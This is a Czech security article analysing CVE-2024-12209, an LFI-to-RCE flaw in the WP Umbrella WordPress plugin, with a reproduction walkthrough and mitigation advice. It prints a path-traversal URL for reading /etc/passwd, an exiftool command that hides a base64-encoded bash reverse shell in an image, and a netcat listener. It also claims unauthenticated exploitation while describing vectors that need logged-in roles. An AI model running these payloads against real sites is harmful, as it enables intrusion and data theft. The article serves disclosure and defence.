Zpět na domů

LFI RCE v WP Umbrella CVE-2024-12209

V WP Umbrella objevena LFI zranitelnost CVE-2024-12209 (CVSS 9.8), vedoucí k RCE. Rozebrány dva vektory exploitace: přímý path traversal a injekce PHP přes EXIF do mediálních souborů. Doporučení k ochraně zahrnují aktualizaci a WAF.

RCE přes LFI v WP Umbrella: úplný rozbor CVE-2024-12209
Advertisement 728x90

# Kritická LFI zranitelnost v WP Umbrella umožňuje RCE na WordPress webech

V pluginu WP Umbrella, používaném na více než 30 000 WordPressových webech, byla objevena LFI zranitelnost s CVSS 9.8 (CVE-2024-12209). Ta postihuje endpoint umbrella-restore prostřednictvím parametru filename, což neověřeným uživatelům umožňuje provádět vzdálené spouštění kódu (RCE) bez autentifikace.

Plugin je určen k centralizovanému monitorování a správě více WordPressových webech, což ho činí oblíbeným mezi agenturami a freelancery. Zranitelnost je využívána dynamickým zahrnutím souborů bez validace cesty.

Nastavení testovacího prostředí

Pro reprodukci je potřeba lokální stack LAMP/XAMPP s PHP a MySQL. Instalace WordPress:

Google AdInline article slot
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs

Dále spusťte instalátor na adrese http://127.0.0.1/wordpress. Nainstalujte plugin WP Umbrella v zranitelné verzi.

Mechanismus LFI v umbrella-restore

Zranitelnost vzniká kvůli absenci sanitizace parametru filename v PHP funkcích include/require. Útočník může specifikovat cestu k libovolnému souboru na serveru.

Vektor 1: Přímé čtení systémových souborů (role „Přispěvatel“)

Pro roli bez práv na nahrávání médií se používá obcházení přes path traversal:

Google AdInline article slot
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

To umožňuje vypsat obsah /etc/passwd bez dalších privilegií.

Vektor 2: RCE přes injekci do EXIF metadat (role „Autor“)

  • Vytvořte JPG soubor s PHP payloadem v EXIF komentáři:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
  • Nahrajte soubor přes admin: Média → Přidat nové.
  • Zkopírujte URL nahrání souboru, např. /wp-content/uploads/2024/12/maxresdefault.jpg.
  • Spusťte Netcat posluchač:
nc -lvnp 4444
  • Využijte LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

Payload se provede a nastaví reverse shell na port 4444.

Doporučení k ochraně

  • Aktualizujte plugin WP Umbrella na opravenou verzi.
  • Implementujte WAF s pravidly proti path traversal (ModSecurity OWASP CRS).
  • Zakažte přístup k umbrella-restore pro neověřené uživatele.
  • Používejte open_basedir v php.ini k omezení přístupu k souborovému systému.
  • Pravidelně skenujte na LFI pomocí Burp Suite nebo Nuclei.

Co je důležité

  • Zranitelnost CVSS 9.8 umožňuje RCE bez autentifikace na 30 000+ webech.
  • Dva vektory: přímé LFI a injekce přes EXIF do nahranych mediálních souborů.
  • Exploitace vyžaduje pouze přístup k frontendu, role „Přispěvatel“ nebo vyšší.
  • Patch je povinný; bez něj je možný útok na server a únik dat.
  • Testujte v izolovaném prostředí, vyhněte se produkci.

— Editorial Team

Google AdInline article slot
Advertisement 728x90

Číst dál